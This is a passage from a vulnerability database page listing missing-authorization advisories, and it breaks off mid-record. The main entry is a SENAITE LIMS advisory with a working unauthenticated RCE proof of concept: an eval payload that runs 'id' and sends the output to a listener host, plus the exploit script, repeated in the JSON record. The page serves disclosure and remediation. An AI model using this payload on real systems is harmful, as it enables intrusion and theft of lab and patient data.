CWE-862
Allowed-with-ReviewMissing Authorization
Abstraction: Class · Status: Incomplete
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
18003 vulnerabilities reference this CWE, most recent first.
GHSA-JRW6-7X4Q-W25J
Vulnerability from github – Published: 2026-08-26 15:28 – Updated: 2026-08-26 15:28Summary
An unauthenticated remote code execution vulnerability in the SENAITE JSON API allows any network-reachable attacker to execute arbitrary Python on the Zope worker process via a two-request anonymous chain. The /@@API/update route is reachable to anonymous callers and runs eval() on attacker-controlled input before any permission check fires.
This is a different code path from the eval() in the calculations module: no authenticated account of any kind is required.
Details
The vulnerability is the chain of two independent flaws. Either fix alone breaks the unauthenticated chain, but the eval sink remains exploitable by any authenticated user with write access to a RecordsField, so both fixes are needed.
1. Missing AccessJSONAPI gate on JSON API write routes (CWE-862). The route at src/bika/lims/jsonapi/update.py:45-165 does not enforce the senaite.core: Access JSON API permission upfront. Compare with the sibling create.py:179-182, which does:
if not getSecurityManager().checkPermission(AccessJSONAPI, parent):
raise Unauthorized(...)
The check is present on create and absent on update, update_many, remove, doActionFor, doActionFor_many, and getusers. The underlying @@API view is registered by plone.jsonapi.core at browser/configure.zcml:8-13 with permission="zope2.View", which is granted to Anonymous on the Plone Site root.
When an obj_uid is supplied, the route resolves the target through uid_catalog and brain.getObject(). The catalog brain walks the parent path with unrestrictedTraverse and applies restrictedTraverse only on the final segment, so the per-object View permission is enforced on the target. The chain is reachable to anonymous because bika_setup is anonymous-readable on a stock Plone Site (the View permission is acquired from the Plone Site root, which grants View to Anonymous by default).
2. eval() on RecordsField / RecordField values inside set_fields_from_request (CWE-95). Once an object has been resolved, set_fields_from_request in jsonapi/__init__.py:199-252 iterates the request fields. For any field of type RecordsField or RecordField, the helper runs eval(value) on the raw request string at line 240, before the field mutator and its write_permission check execute:
elif fieldtype in ['senaite.core.browser.fields.records.RecordsField',
'senaite.core.browser.fields.record.RecordField']:
try:
value = eval(value)
except Exception:
logger.warning(
"JSONAPI: " + fieldname + ": Invalid "
"JSON/Python variable")
return []
The eval runs in the Zope worker process with full Python builtins available, so a payload such as __import__('os').popen('id').read() executes arbitrary system commands. The transaction savepoint inside update.py rolls back ZODB writes when the mutator subsequently fails, but Python side effects (subprocess, urllib calls, file I/O outside ZODB) have already happened and are not reverted.
The same eval() pattern is also present in the field setters at record.py:253-262 and records.py:135-143.
Anonymous UID discovery. The bika_setup object exposes two RecordsField-typed fields: RejectionReasons and IDFormatting. Its UID is published anonymously by Plone's standard @@uuid view:
GET /senaite/bika_setup/@@uuid HTTP/1.1
HTTP/1.1 200 OK
Content-Type: text/plain
8dbc161fa9f74aa4ad6e76eb1934518a
Origin. Both flaws predate the SENAITE fork. The eval() sink was introduced in d7bf2d4507 (2013-09-04) and the unchecked update route in be3d8cc916 (2013). Both remain present on the current 2.x development tip.
Suggested fixes
Fix 1: add AccessJSONAPI check to every state-changing route in src/bika/lims/jsonapi/, mirroring the existing check in create.py. An audit of every IRouteProvider in configure.zcml is in scope.
# src/bika/lims/jsonapi/update.py
from AccessControl import getSecurityManager
from zExceptions import Unauthorized
from senaite.core.permissions import AccessJSONAPI
def update(self, context, request):
if not getSecurityManager().checkPermission(AccessJSONAPI, context):
raise Unauthorized("You don't have permission to update via JSONAPI")
savepoint = transaction.savepoint()
...
Fix 2: replace eval() with json.loads(). The data shape stored in RecordField and RecordsField is a JSON-compatible dict / list of dicts. Parsing as JSON is sufficient and removes the code-execution primitive entirely:
# src/bika/lims/jsonapi/__init__.py
import json
elif fieldtype in ['senaite.core.browser.fields.records.RecordsField',
'senaite.core.browser.fields.record.RecordField']:
try:
value = json.loads(value)
except (ValueError, TypeError):
logger.warning("JSONAPI: %s: invalid JSON value", fieldname)
return []
Apply the same change at record.py:253-262 and records.py:135-143.
Defense in depth: re-enable Plone's CSRF protection. The audited release ships with class ISenaiteCore(IDisableCSRFProtection) at src/senaite/core/interfaces/__init__.py:30, which disables plone.protect's automatic CSRF write-detection on every request handled by the SENAITE browser layer. Removing the inheritance does not affect this unauthenticated chain but closes several authenticated CSRF chains.
PoC
Tested against the unmodified upstream Docker image senaite/senaite:v2.6.0. No source-code modification, no buildout overrides, no reverse proxy. PASSWORD is set to a non-default value to demonstrate that the chain works without the admin:admin Docker fallback.
docker-compose.yml
services:
senaite:
image: senaite/senaite:v2.6.0
ports:
- "8080:8080"
environment:
PASSWORD: senaitestrong # non-default; chain is credential-free
SITE: senaite
networks:
- poc
listener:
image: python:3.11-alpine
command:
- python
- -c
- |
import http.server, socketserver
log = []
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
if self.path.startswith('/log'):
self.send_response(200); self.send_header('Content-Type', 'text/plain'); self.end_headers()
self.wfile.write(('\n'.join(log)).encode())
else:
log.append(self.path)
self.send_response(200); self.end_headers(); self.wfile.write(b'ok')
def log_message(self, *a, **k): pass
socketserver.TCPServer.allow_reuse_address = True
with socketserver.TCPServer(('', 8000), H) as s: s.serve_forever()
ports:
- "8000:8000"
networks:
- poc
networks:
poc:
poc.py
#!/usr/bin/env python3
"""PoC: Unauthenticated RCE on SENAITE.CORE v2.6.0"""
import sys, time, urllib.error, urllib.parse, urllib.request
TARGET = "http://localhost:8080"
SITE = "senaite"
LISTENER_HOST = "http://localhost:8000"
LISTENER_INSIDE = "http://listener:8000"
PAYLOAD = (
"__import__('urllib2').urlopen("
f"'{LISTENER_INSIDE}/?id=' + "
"__import__('os').popen('id').read().replace(' ', '_').replace('\\n', '_')"
")"
)
def http_get(url, timeout=5):
req = urllib.request.Request(url, headers={"Accept": "*/*"})
return urllib.request.urlopen(req, timeout=timeout).read().decode("utf-8", "ignore")
def http_post(url, fields, timeout=10):
body = urllib.parse.urlencode(fields).encode()
req = urllib.request.Request(url, data=body, method="POST")
return urllib.request.urlopen(req, timeout=timeout).read().decode("utf-8", "ignore")
def wait_for_target():
deadline = time.time() + 600
while time.time() < deadline:
try:
with urllib.request.urlopen(f"{TARGET}/{SITE}/login_form", timeout=3) as r:
if r.status == 200: return
except Exception: pass
time.sleep(3)
sys.exit(1)
def discover_bika_setup_uid():
body = http_get(f"{TARGET}/{SITE}/bika_setup/@@uuid", timeout=5).strip()
if len(body) == 32 and all(c in "0123456789abcdef" for c in body):
return body
sys.exit(1)
def fire_payload(uid):
try:
http_post(f"{TARGET}/{SITE}/@@API/update",
{"obj_uid": uid, "RejectionReasons": PAYLOAD})
except urllib.error.HTTPError:
pass
def read_listener():
time.sleep(1)
try:
log = http_get(f"{LISTENER_HOST}/log", timeout=3)
except Exception:
return False
return "id=" in log
if __name__ == "__main__":
wait_for_target()
uid = discover_bika_setup_uid()
fire_payload(uid)
sys.exit(0 if read_listener() else 1)
Run
docker compose up -d
# wait ~1-3 minutes for the senaite-docker first-boot Plone Site provisioning
python3 poc.py
Expected output
[+] VULNERABLE: unauthenticated RCE on SENAITE.CORE v2.6.0
captured: /?id=uid=500(senaite)_gid=500(senaite)_groups=500(senaite)_
The captured query string is the stdout of id from the SENAITE Zope worker, fetched by the worker's urllib2.urlopen call against the in-network listener, proving arbitrary Python execution from a request carrying no credentials.
Impact
Vulnerability type: Unauthenticated remote code execution. Chain of CWE-862 (Missing Authorization) and CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code / Eval Injection).
Who is impacted: Every SENAITE deployment whose Plone Site root grants View to Anonymous (the upstream default) and whose /@@API/... endpoints are reachable from any attacker-controlled network. The upstream Docker compose ships 8080:8080 plain HTTP and /manage (ZMI) exposed.
Attacker capability after exploit:
- Arbitrary Python execution in the Zope worker process.
- Full read/write access to the ZODB (Data.fs and blobstorage), so any patient/lab data the LIMS holds.
- Filesystem access on the container's /data volume.
- Outbound network egress from the worker.
- Direct access to acl_users (the Plone PAS user folder) for creating administrator accounts in ZODB. Combined with the exposed /manage ZMI, this gives durable post-exploitation access.
Affected versions: All SENAITE.CORE 2.x releases (2.0.0 through 2.6.0).
Credits
Discovered and reported by Machine Spirits UG, Cologne, Germany. Independent security research focused on medical device and healthcare application security.
- Dr. Simon Weber
- Dipl.-Inf. Volker Schönefeld
- Chiara Fliegner
Website: https://machinespirits.com
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "senaite.core"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"last_affected": "2.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54569"
],
"database_specific": {
"cwe_ids": [
"CWE-862",
"CWE-95"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-26T15:28:47Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\n\nAn unauthenticated remote code execution vulnerability in the SENAITE JSON API allows any network-reachable attacker to execute arbitrary Python on the Zope worker process via a two-request anonymous chain. The `/@@API/update` route is reachable to anonymous callers and runs `eval()` on attacker-controlled input before any permission check fires.\n\nThis is a different code path from the `eval()` in the calculations module: no authenticated account of any kind is required.\n\n### Details\n\nThe vulnerability is the chain of two independent flaws. Either fix alone breaks the unauthenticated chain, but the `eval` sink remains exploitable by any authenticated user with write access to a `RecordsField`, so both fixes are needed.\n\n**1. Missing `AccessJSONAPI` gate on JSON API write routes (CWE-862).** The route at [`src/bika/lims/jsonapi/update.py:45-165`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/bika/lims/jsonapi/update.py#L45-L165) does not enforce the `senaite.core: Access JSON API` permission upfront. Compare with the sibling [`create.py:179-182`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/bika/lims/jsonapi/create.py#L179-L182), which does:\n\n```python\nif not getSecurityManager().checkPermission(AccessJSONAPI, parent):\n raise Unauthorized(...)\n```\n\nThe check is present on `create` and absent on `update`, `update_many`, `remove`, `doActionFor`, `doActionFor_many`, and `getusers`. The underlying `@@API` view is registered by `plone.jsonapi.core` at [`browser/configure.zcml:8-13`](https://github.com/collective/plone.jsonapi.core/blob/0.6/src/plone/jsonapi/core/browser/configure.zcml#L8-L13) with `permission=\"zope2.View\"`, which is granted to Anonymous on the Plone Site root.\n\nWhen an `obj_uid` is supplied, the route resolves the target through `uid_catalog` and `brain.getObject()`. The catalog brain walks the parent path with `unrestrictedTraverse` and applies `restrictedTraverse` only on the final segment, so the per-object View permission is enforced on the target. The chain is reachable to anonymous because `bika_setup` is anonymous-readable on a stock Plone Site (the `View` permission is acquired from the Plone Site root, which grants `View` to `Anonymous` by default).\n\n**2. `eval()` on `RecordsField` / `RecordField` values inside `set_fields_from_request` (CWE-95).** Once an object has been resolved, [`set_fields_from_request` in `jsonapi/__init__.py:199-252`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/bika/lims/jsonapi/__init__.py#L199-L252) iterates the request fields. For any field of type `RecordsField` or `RecordField`, the helper runs `eval(value)` on the raw request string at [line 240](https://github.com/senaite/senaite.core/blob/v2.6.0/src/bika/lims/jsonapi/__init__.py#L240), **before** the field mutator and its `write_permission` check execute:\n\n```python\nelif fieldtype in [\u0027senaite.core.browser.fields.records.RecordsField\u0027,\n \u0027senaite.core.browser.fields.record.RecordField\u0027]:\n try:\n value = eval(value)\n except Exception:\n logger.warning(\n \"JSONAPI: \" + fieldname + \": Invalid \"\n \"JSON/Python variable\")\n return []\n```\n\nThe `eval` runs in the Zope worker process with full Python builtins available, so a payload such as `__import__(\u0027os\u0027).popen(\u0027id\u0027).read()` executes arbitrary system commands. The transaction savepoint inside `update.py` rolls back ZODB writes when the mutator subsequently fails, but Python side effects (subprocess, urllib calls, file I/O outside ZODB) have already happened and are not reverted.\n\nThe same `eval()` pattern is also present in the field setters at [`record.py:253-262`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/senaite/core/browser/fields/record.py#L253-L262) and [`records.py:135-143`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/senaite/core/browser/fields/records.py#L135-L143).\n\n**Anonymous UID discovery.** The `bika_setup` object exposes two `RecordsField`-typed fields: `RejectionReasons` and `IDFormatting`. Its UID is published anonymously by Plone\u0027s standard [`@@uuid`](https://github.com/plone/plone.app.uuid) view:\n\n```\nGET /senaite/bika_setup/@@uuid HTTP/1.1\nHTTP/1.1 200 OK\nContent-Type: text/plain\n\n8dbc161fa9f74aa4ad6e76eb1934518a\n```\n\n**Origin.** Both flaws predate the SENAITE fork. The `eval()` sink was introduced in [`d7bf2d4507`](https://github.com/senaite/senaite.core/commit/d7bf2d4507) (2013-09-04) and the unchecked `update` route in [`be3d8cc916`](https://github.com/senaite/senaite.core/commit/be3d8cc916) (2013). Both remain present on the current 2.x development tip.\n\n### Suggested fixes\n\n**Fix 1: add `AccessJSONAPI` check to every state-changing route** in `src/bika/lims/jsonapi/`, mirroring the existing check in `create.py`. An audit of every `IRouteProvider` in [`configure.zcml`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/bika/lims/jsonapi/configure.zcml) is in scope.\n\n```python\n# src/bika/lims/jsonapi/update.py\nfrom AccessControl import getSecurityManager\nfrom zExceptions import Unauthorized\nfrom senaite.core.permissions import AccessJSONAPI\n\ndef update(self, context, request):\n if not getSecurityManager().checkPermission(AccessJSONAPI, context):\n raise Unauthorized(\"You don\u0027t have permission to update via JSONAPI\")\n savepoint = transaction.savepoint()\n ...\n```\n\n**Fix 2: replace `eval()` with `json.loads()`.** The data shape stored in `RecordField` and `RecordsField` is a JSON-compatible dict / list of dicts. Parsing as JSON is sufficient and removes the code-execution primitive entirely:\n\n```python\n# src/bika/lims/jsonapi/__init__.py\nimport json\n\nelif fieldtype in [\u0027senaite.core.browser.fields.records.RecordsField\u0027,\n \u0027senaite.core.browser.fields.record.RecordField\u0027]:\n try:\n value = json.loads(value)\n except (ValueError, TypeError):\n logger.warning(\"JSONAPI: %s: invalid JSON value\", fieldname)\n return []\n```\n\nApply the same change at [`record.py:253-262`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/senaite/core/browser/fields/record.py#L253-L262) and [`records.py:135-143`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/senaite/core/browser/fields/records.py#L135-L143).\n\n**Defense in depth: re-enable Plone\u0027s CSRF protection.** The audited release ships with `class ISenaiteCore(IDisableCSRFProtection)` at [`src/senaite/core/interfaces/__init__.py:30`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/senaite/core/interfaces/__init__.py#L30), which disables `plone.protect`\u0027s automatic CSRF write-detection on every request handled by the SENAITE browser layer. Removing the inheritance does not affect this unauthenticated chain but closes several authenticated CSRF chains.\n\n### PoC\n\nTested against the unmodified upstream Docker image `senaite/senaite:v2.6.0`. No source-code modification, no buildout overrides, no reverse proxy. `PASSWORD` is set to a non-default value to demonstrate that the chain works without the `admin:admin` Docker fallback.\n\n**`docker-compose.yml`**\n\n```yaml\nservices:\n senaite:\n image: senaite/senaite:v2.6.0\n ports:\n - \"8080:8080\"\n environment:\n PASSWORD: senaitestrong # non-default; chain is credential-free\n SITE: senaite\n networks:\n - poc\n\n listener:\n image: python:3.11-alpine\n command:\n - python\n - -c\n - |\n import http.server, socketserver\n log = []\n class H(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n if self.path.startswith(\u0027/log\u0027):\n self.send_response(200); self.send_header(\u0027Content-Type\u0027, \u0027text/plain\u0027); self.end_headers()\n self.wfile.write((\u0027\\n\u0027.join(log)).encode())\n else:\n log.append(self.path)\n self.send_response(200); self.end_headers(); self.wfile.write(b\u0027ok\u0027)\n def log_message(self, *a, **k): pass\n socketserver.TCPServer.allow_reuse_address = True\n with socketserver.TCPServer((\u0027\u0027, 8000), H) as s: s.serve_forever()\n ports:\n - \"8000:8000\"\n networks:\n - poc\n\nnetworks:\n poc:\n```\n\n**`poc.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: Unauthenticated RCE on SENAITE.CORE v2.6.0\"\"\"\nimport sys, time, urllib.error, urllib.parse, urllib.request\n\nTARGET = \"http://localhost:8080\"\nSITE = \"senaite\"\nLISTENER_HOST = \"http://localhost:8000\"\nLISTENER_INSIDE = \"http://listener:8000\"\n\nPAYLOAD = (\n \"__import__(\u0027urllib2\u0027).urlopen(\"\n f\"\u0027{LISTENER_INSIDE}/?id=\u0027 + \"\n \"__import__(\u0027os\u0027).popen(\u0027id\u0027).read().replace(\u0027 \u0027, \u0027_\u0027).replace(\u0027\\\\n\u0027, \u0027_\u0027)\"\n \")\"\n)\n\ndef http_get(url, timeout=5):\n req = urllib.request.Request(url, headers={\"Accept\": \"*/*\"})\n return urllib.request.urlopen(req, timeout=timeout).read().decode(\"utf-8\", \"ignore\")\n\ndef http_post(url, fields, timeout=10):\n body = urllib.parse.urlencode(fields).encode()\n req = urllib.request.Request(url, data=body, method=\"POST\")\n return urllib.request.urlopen(req, timeout=timeout).read().decode(\"utf-8\", \"ignore\")\n\ndef wait_for_target():\n deadline = time.time() + 600\n while time.time() \u003c deadline:\n try:\n with urllib.request.urlopen(f\"{TARGET}/{SITE}/login_form\", timeout=3) as r:\n if r.status == 200: return\n except Exception: pass\n time.sleep(3)\n sys.exit(1)\n\ndef discover_bika_setup_uid():\n body = http_get(f\"{TARGET}/{SITE}/bika_setup/@@uuid\", timeout=5).strip()\n if len(body) == 32 and all(c in \"0123456789abcdef\" for c in body):\n return body\n sys.exit(1)\n\ndef fire_payload(uid):\n try:\n http_post(f\"{TARGET}/{SITE}/@@API/update\",\n {\"obj_uid\": uid, \"RejectionReasons\": PAYLOAD})\n except urllib.error.HTTPError:\n pass\n\ndef read_listener():\n time.sleep(1)\n try:\n log = http_get(f\"{LISTENER_HOST}/log\", timeout=3)\n except Exception:\n return False\n return \"id=\" in log\n\nif __name__ == \"__main__\":\n wait_for_target()\n uid = discover_bika_setup_uid()\n fire_payload(uid)\n sys.exit(0 if read_listener() else 1)\n```\n\n**Run**\n\n```\ndocker compose up -d\n# wait ~1-3 minutes for the senaite-docker first-boot Plone Site provisioning\npython3 poc.py\n```\n\n**Expected output**\n\n```\n[+] VULNERABLE: unauthenticated RCE on SENAITE.CORE v2.6.0\n captured: /?id=uid=500(senaite)_gid=500(senaite)_groups=500(senaite)_\n```\n\nThe captured query string is the stdout of `id` from the SENAITE Zope worker, fetched by the worker\u0027s `urllib2.urlopen` call against the in-network listener, proving arbitrary Python execution from a request carrying no credentials.\n\n### Impact\n\n**Vulnerability type:** Unauthenticated remote code execution. Chain of CWE-862 (Missing Authorization) and CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code / Eval Injection).\n\n**Who is impacted:** Every SENAITE deployment whose Plone Site root grants `View` to Anonymous (the upstream default) and whose `/@@API/...` endpoints are reachable from any attacker-controlled network. The upstream Docker compose ships `8080:8080` plain HTTP and `/manage` (ZMI) exposed.\n\n**Attacker capability after exploit:**\n- Arbitrary Python execution in the Zope worker process.\n- Full read/write access to the ZODB (`Data.fs` and `blobstorage`), so any patient/lab data the LIMS holds.\n- Filesystem access on the container\u0027s `/data` volume.\n- Outbound network egress from the worker.\n- Direct access to `acl_users` (the Plone PAS user folder) for creating administrator accounts in ZODB. Combined with the exposed `/manage` ZMI, this gives durable post-exploitation access.\n\n**Affected versions:** All SENAITE.CORE 2.x releases (2.0.0 through 2.6.0).\n\n### Credits\n\nDiscovered and reported by Machine Spirits UG, Cologne, Germany. Independent security research focused on medical device and healthcare application security.\n\n- Dr. Simon Weber\n- Dipl.-Inf. Volker Sch\u00f6nefeld\n- Chiara Fliegner\n\nWebsite: https://machinespirits.com",
"id": "GHSA-jrw6-7x4q-w25j",
"modified": "2026-08-26T15:28:47Z",
"published": "2026-08-26T15:28:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/senaite/senaite.core/security/advisories/GHSA-jrw6-7x4q-w25j"
},
{
"type": "WEB",
"url": "https://github.com/senaite/senaite.core/pull/2903"
},
{
"type": "WEB",
"url": "https://github.com/senaite/senaite.core/pull/2919"
},
{
"type": "WEB",
"url": "https://github.com/senaite/senaite.core/commit/a24d65e99a17ac43c5374ed9f0a60d0fe60d2f74"
},
{
"type": "WEB",
"url": "https://github.com/senaite/senaite.core/commit/ef4b6d73575b0fbc0edc6114e5e025089aaf9eb7"
},
{
"type": "PACKAGE",
"url": "https://github.com/senaite/senaite.core"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "senaite.core Vulnerable to Eval Injection and Missing Authorization"
}
GHSA-JRX8-VCR5-X9FG
Vulnerability from github – Published: 2022-07-02 00:00 – Updated: 2022-07-09 00:00An improper validation vulnerability in IBM InfoSphere Information Server 11.7 Pack for SAP Apps and BW Packs may lead to creation of directories and files on the server file system that may contain non-sensitive debugging information like stack traces. IBM X-Force ID: 221323.
{
"affected": [],
"aliases": [
"CVE-2022-22373"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-07-01T18:15:00Z",
"severity": "MODERATE"
},
"details": "An improper validation vulnerability in IBM InfoSphere Information Server 11.7 Pack for SAP Apps and BW Packs may lead to creation of directories and files on the server file system that may contain non-sensitive debugging information like stack traces. IBM X-Force ID: 221323.",
"id": "GHSA-jrx8-vcr5-x9fg",
"modified": "2022-07-09T00:00:24Z",
"published": "2022-07-02T00:00:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22373"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/221323"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/6600235"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-JV2R-R6R9-HVHJ
Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-20 12:32An improper access control vulnerability exists in danswer-ai/danswer version v0.3.94. This vulnerability allows the first user created in the system to view, modify, and delete chats created by an Admin. This can lead to unauthorized access to sensitive information, loss of data integrity, and potential compliance violations.
{
"affected": [],
"aliases": [
"CVE-2024-7767"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-20T10:15:37Z",
"severity": "MODERATE"
},
"details": "An improper access control vulnerability exists in danswer-ai/danswer version v0.3.94. This vulnerability allows the first user created in the system to view, modify, and delete chats created by an Admin. This can lead to unauthorized access to sensitive information, loss of data integrity, and potential compliance violations.",
"id": "GHSA-jv2r-r6r9-hvhj",
"modified": "2025-03-20T12:32:46Z",
"published": "2025-03-20T12:32:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7767"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/1425dada-72d8-4bd9-a3e7-2863bb3e1a6c"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-JV33-M8X5-6599
Vulnerability from github – Published: 2026-05-29 18:31 – Updated: 2026-05-29 18:31HaPe PKH 1.1 fails to enforce authorization on its record deletion endpoints, allowing unauthenticated attackers to delete arbitrary records by sending a crafted request that specifies the target record's id. The admin/modul/mod_pengurus/aksi_pengurus.php (module=pengurus&act=hapus) and admin/modul/mod_update/aksi_update.php (module=update&act=hapus) endpoints process deletions without verifying the requester's privileges, enabling removal of pengurus (administrator) and update records.
{
"affected": [],
"aliases": [
"CVE-2018-25391"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-29T16:16:18Z",
"severity": "HIGH"
},
"details": "HaPe PKH 1.1 fails to enforce authorization on its record deletion endpoints, allowing unauthenticated attackers to delete arbitrary records by sending a crafted request that specifies the target record\u0027s id. The admin/modul/mod_pengurus/aksi_pengurus.php (module=pengurus\u0026act=hapus) and admin/modul/mod_update/aksi_update.php (module=update\u0026act=hapus) endpoints process deletions without verifying the requester\u0027s privileges, enabling removal of pengurus (administrator) and update records.",
"id": "GHSA-jv33-m8x5-6599",
"modified": "2026-05-29T18:31:31Z",
"published": "2026-05-29T18:31:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-25391"
},
{
"type": "WEB",
"url": "https://sourceforge.net/projects/hape-pkh/files/latest/download"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/45588"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/hape-pkh-missing-authorization-allows-unauthenticated-record-deletion"
},
{
"type": "WEB",
"url": "http://www.sitejo.id"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-JV59-F2RJ-M7R3
Vulnerability from github – Published: 2026-09-07 15:33 – Updated: 2026-09-07 15:33The Masteriyo LMS plugin for WordPress is vulnerable to unauthorized data deletion due to a missing capability check on the 'delete_item_permissions_check' function in the CourseProgressItemsController in all versions up to, and including, 2.2.0. This makes it possible for unauthenticated attackers to delete arbitrary course progress records belonging to any student.
{
"affected": [],
"aliases": [
"CVE-2026-8279"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-07T13:20:43Z",
"severity": "MODERATE"
},
"details": "The Masteriyo LMS plugin for WordPress is vulnerable to unauthorized data deletion due to a missing capability check on the \u0027delete_item_permissions_check\u0027 function in the CourseProgressItemsController in all versions up to, and including, 2.2.0. This makes it possible for unauthenticated attackers to delete arbitrary course progress records belonging to any student.",
"id": "GHSA-jv59-f2rj-m7r3",
"modified": "2026-09-07T15:33:53Z",
"published": "2026-09-07T15:33:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8279"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/learning-management-system/tags/2.1.9/includes/Repository/CourseProgressItemRepository.php#L269"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/learning-management-system/tags/2.1.9/includes/RestApi/Controllers/Version1/CourseProgressItemsController.php#L124"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/learning-management-system/tags/2.1.9/includes/RestApi/Controllers/Version1/CourseProgressItemsController.php#L805"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d317d40b-2b99-408b-b445-1a789df3c958?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-JV5V-GCH6-HQ4M
Vulnerability from github – Published: 2022-05-24 19:16 – Updated: 2022-05-24 19:16The Stripe for WooCommerce WordPress plugin is missing a capability check on the save() function found in the ~/includes/admin/class-wc-stripe-admin-user-edit.php file that makes it possible for attackers to configure their account to use other site users unique STRIPE identifier and make purchases with their payment accounts. This affects versions 3.0.0 - 3.3.9.
{
"affected": [],
"aliases": [
"CVE-2021-39347"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-10-04T18:15:00Z",
"severity": "MODERATE"
},
"details": "The Stripe for WooCommerce WordPress plugin is missing a capability check on the save() function found in the ~/includes/admin/class-wc-stripe-admin-user-edit.php file that makes it possible for attackers to configure their account to use other site users unique STRIPE identifier and make purchases with their payment accounts. This affects versions 3.0.0 - 3.3.9.",
"id": "GHSA-jv5v-gch6-hq4m",
"modified": "2022-05-24T19:16:25Z",
"published": "2022-05-24T19:16:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39347"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/2601162/woo-stripe-payment/trunk/includes/admin/class-wc-stripe-admin-user-edit.php"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39347"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-JV65-PC5X-PM68
Vulnerability from github – Published: 2025-09-26 09:31 – Updated: 2026-04-28 21:35Missing Authorization vulnerability in netgsm Netgsm allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects Netgsm: from n/a through 2.9.58.
{
"affected": [],
"aliases": [
"CVE-2025-60143"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-26T09:15:42Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in netgsm Netgsm allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects Netgsm: from n/a through 2.9.58.",
"id": "GHSA-jv65-pc5x-pm68",
"modified": "2026-04-28T21:35:50Z",
"published": "2025-09-26T09:31:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-60143"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/netgsm/vulnerability/wordpress-netgsm-plugin-2-9-58-broken-access-control-vulnerability?_s_id=cve"
}
],
